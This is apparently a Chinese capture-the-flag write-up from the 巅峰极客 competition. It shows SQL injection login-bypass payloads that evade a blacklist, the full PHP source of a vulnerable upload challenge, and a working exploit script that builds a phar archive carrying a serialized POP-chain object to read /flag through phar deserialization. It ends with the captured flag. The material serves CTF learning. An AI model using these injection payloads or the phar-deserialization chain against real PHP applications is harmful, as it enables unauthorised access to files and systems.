巅峰极客
aweb_1
abcdefghij1@qq.com
黑名单:union
fuckyoufuck'/**/or/**/1^'0
最后payload:admin'/*ffuuucckyou*/or/**/'
upload
已知文件:file.php,download.php,index.php,upload_file.php
download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| $name = $_GET['name']; $url = $_SERVER['QUERY_STRING']; if (isset($name)){ if (preg_match('/\.|etc|var|tmp|usr/i', $url)){ echo("hacker!"); } else{ if (preg_match('/base|class|file|function|index|upload_file/i', $name)){ echo ("hacker!"); } else{ $name = safe_replace($name); if (preg_match('/base|class|file|function|index|upload_file/i', $name)){ $filename = $name.'.php'; $dir ="./"; $down_host = $_SERVER['HTTP_HOST'].'/'; if(file_exists(__DIR__.'/'.$dir.$filename)){ $file = fopen ( $dir.$filename, "rb" ); Header ( "Content-type: application/octet-stream" ); Header ( "Accept-Ranges: bytes" ); Header ( "Accept-Length: " . filesize ( $dir.$filename ) ); Header ( "Content-Disposition: attachment; filename=" . $filename ); echo fread ( $file, filesize ( $dir . $filename ) ); fclose ( $file ); exit (); }else{ echo ("file doesn't exist."); } } if (preg_match('/flag/i', $name)){ echo ("hacker!"); } } } }
|
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } if(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) { die('hacker!'); }elseif(!preg_match('/\//i',$file)) { die('hacker!'); } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
|
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php
class Show { public $source; public $str; public function __construct($file) { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; } public function __toString() { $text= $this->source; $text = base64_encode(file_get_contents($text)); return $text; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class S6ow { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->params[$key]; } public function __call($name, $arguments) { if($this->{$name}) $this->{$this->{$name}}($arguments); } public function file_get($value) { echo $this->file; } }
class Sh0w { public $test; public $str; public function __construct($name) { $this->str = new Show('index.php'); $this->str->source = $this->test;
} public function __destruct() { $this->str->_show(); } } ?>
|
分析发现一堆类,且file_exists可以触发phar反序列化漏洞
pop链:
sh0w($str=new S6ow)->S6ow($file=new Show,$_show="file_get")->Show($source='/flag')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php class Show { public $source; public $str; public function __construct() { $this->source="/flag"; $this->str=""; $text= $this->source;
} public function __toString() { $text= $this->source;
}
} class S6ow { public $file; public $params; public $_show; public function __construct() { $this->params = array(); $this->file=new Show; $this->_show="file_get";
} public function __get($key) { return $this->params[$key]; } public function __call($name, $arguments) { $name="_show"; print($name); print($this->{$name}); if($this->{$name}) $this->{$this->{$name}}($arguments); } public function file_get($value) { } }
class Sh0w { public $test; public $str; public function __construct() { $this->str =new S6ow; $this->test="";
} public function __destruct() { $this->str->_show(); } }
$a=new Sh0w();
@unlink("hello.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
|
flag{a592b240-32ae-4381-a0ab-83790c98ca28}